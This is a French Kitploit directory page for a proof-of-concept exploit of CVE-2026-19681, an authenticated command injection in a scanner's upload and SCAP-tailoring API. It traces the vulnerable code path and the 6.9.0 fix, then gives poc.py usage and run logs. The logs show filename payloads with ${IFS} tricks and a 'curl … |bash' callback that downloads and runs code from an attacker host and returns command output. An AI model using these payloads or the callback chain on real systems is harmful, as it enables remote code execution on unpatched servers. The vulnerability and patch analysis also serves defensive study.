Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
POC-CVE-2026-19681 — Exploit de preuve de concept pour une injection de commande authentifiée dans le traitement de téléversement de fichiers, démontrant une chaîne en deux étapes via l'API REST avec exécution de commande par timing aveugle et par callback. | Kitploit
Outils/GitHubGitHub/h00die/poc-cve-2026-19681
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleDéveloppement de Charges Utiles
GitHubh00die/poc-cve-2026-19681

POC-CVE-2026-19681

Exploit de preuve de concept pour une injection de commande authentifiée dans le traitement de téléversement de fichiers, démontrant une chaîne en deux étapes via l'API REST avec exécution de commande par timing aveugle et par callback.

Voir le dépôt
il y a 1 jourPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Image du CVE

CVE-2026-19681 — injection de commande dans le traitement de téléversement de fichiers (authentifié)

Statut : CONFIRMÉ sur un lab 6.7.2-14.el9 (2026-08-20). Nom de fichier temporaire p;sleep${IFS}20;-EvvfJk via POST /rest/file/upload (le préfixe de contexte porte les métacaractères), puis POST /rest/auditFile (type=scapLinux, version=1.2) a mis exactement 20,1 s avant de renvoyer l'erreur 106 (« Error adding Tailoring file to SCAP zip file ») — le chemin d'erreur normal post-injection. L'exécution se produit dans la commande shell zip -9Tj sous l'identité de l'utilisateur du service web. (Corrigé en 6.9.0 selon le diff RPM ; la vulnérabilité est présente au moins en 6.7.2–6.8.x.)

Vulnérabilité

Chaîne en deux étapes, toutes deux sous le contrôle de l'attaquant :

  1. Contrôle du nom de fichier — stocke les téléversements via (), qui construit le nom sur disque à partir du paramètre brut du client : . Les contextes inconnus échappent à toute validation de contenu (la NOTICE de qualifie cela d'« wide open since SC 4.x ») mais sont tout de même stockés — les métacaractères shell (, , backticks) persistent donc dans le nom de fichier temporaire.

POST /rest/file
Filesystem::saveTmp()
FilesystemLib.php:587
context
tempnam($tmpDir, "$userID.$token." . $context . "-")
Files.php
;
$()
  • Point d'injection — POST /rest/auditFile avec type∈SCAP, version=1.2 entre dans la branche de personnalisation (AuditFiles.php:163) : $scapZipFile = $tmpDir . $params['filename'] (entièrement contrôlé par le client) → AuditFileLib::addSCAPTailoringFile() ligne 2304 : $tmpZipFile = "{$tmpDir}/" . basename($scapZipFile) . ".zip" — basename() supprime / mais pas les métacaractères shell — puis non échappé dans exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc").

  • Un second point d'injection de même classe : Files.php:360 exec("{$settings['CommandUNZIP']} -qq $filename -d $tmpDir/") dans extractFile().

    Correctif (6.9.0)

    escapeshellarg($tmpZipFile) dans les deux commandes zip ; Utility::execSafe() (proc_open sous forme argv + séparateur --) remplace l'exec de chaîne unzip ; validation du nom de fichier ajoutée dans AuditFiles::applySCAPTailoringFile() (c'est CVE-2026-19679).

    PoC

    root@kitploit:~
    # blind timing check (sleep in the context prefix; no '/' needed)
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --check
    
    # run a command with output capture: the PoC serves the script over HTTP, injects a
    # short curl|bash callback, and prints the POSTed-back output. Target must be able to
    # reach this machine (same L2 in the lab).
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd whoami
    
    # verbatim injection (no callback) — payload must fit ~47 chars
    ./poc.py --target https://sc.lab --username analyst --password 'pass' \
             --cmd 'touch${IFS}/tmp/pwned' --no-exfil
    

    Notes :

    • la ressource de téléversement est /rest/file/upload (champ multipart Filedata, champ de formulaire context) — découverte sur le lab ; d'autres versions peuvent différer, des candidats ont été testés.
    • budget de longueur : PHP tempnam() tronque le préfixe du nom temporaire — seulement ~50-55 caractères de context survivent (mesuré sur le lab ; la variante hex-bootstrap a été tronquée en plein payload). Les injections courtes comme p;sleep${IFS}20; tiennent ; tout ce qui est plus long passe par le serveur de callback.
    • le corps auditFile nécessite type=scapLinux|scapWindows, version=1.2, benchmarkName, dataStreamName (selon AuditFiles::validateAdd) ; PARAM_FILENAME ne rejette que / et les fichiers inexistants, donc ;/${IFS} passent.
    • le téléversement de personnalisation (context=tailoringFile) doit contenir un XML de datastream analysable avec au moins un Profile — un minimal est intégré.

    Éléments à vérifier en lab (signalés dans la sortie du script s'ils échouent) :

    • Le XML de personnalisation minimal intégré doit satisfaire SCAPTailoringFileParser (>=1 profil) ; remplacez-le par un vrai datastream de personnalisation SCAP s'il est rejeté.
    • La chaîne type doit correspondre à un membre de AuditFileLib::$validSCAPTypes (scap attendu).
    • Les clés exactes du corps auditFile proviennent de AuditFiles::validateAdd() ; ajustez si le POST renvoie une erreur de paramètre.

    Voir aussi

    • ../cve-2026-19679/ — la moitié validation d'entrée de la même chaîne (assainissement du nom de fichier), avec une analyse différentielle de détection de version.

    Exemples d'exécution

    root@kitploit:~
    $ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd whoami
    [+] authenticated, token 20425636...
    [*] callback server on 1.1.1.1:33755 — injecting 'curl${IFS}1.1.1.1:33755|bash' (target must reach this IP)
    [+] staged audit zip as filename='p;curl${IFS}1.1.1.1:33755|bash;-g6LDro'
    [*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
    [+] staged tailoring file as filename='tailoringFile-15xUAv'
    [*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
    [*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236048}
    [*] injection fired in 0.1s; waiting for callback output ...
    [+] command output:
    tns
    
    root@kitploit:~
    $ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd pwd
    [+] authenticated, token 20958963...
    [*] callback server on 1.1.1.1:36809 — injecting 'curl${IFS}1.1.1.1:36809|bash' (target must reach this IP)
    [+] staged audit zip as filename='p;curl${IFS}1.1.1.1:36809|bash;-G7e1sg'
    [*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
    [+] staged tailoring file as filename='tailoringFile-DQzq4v'
    [*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
    [*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236116}
    [*] injection fired in 0.1s; waiting for callback output ...
    [+] command output:
    /opt/sc/www
    
    Télécharger l’outil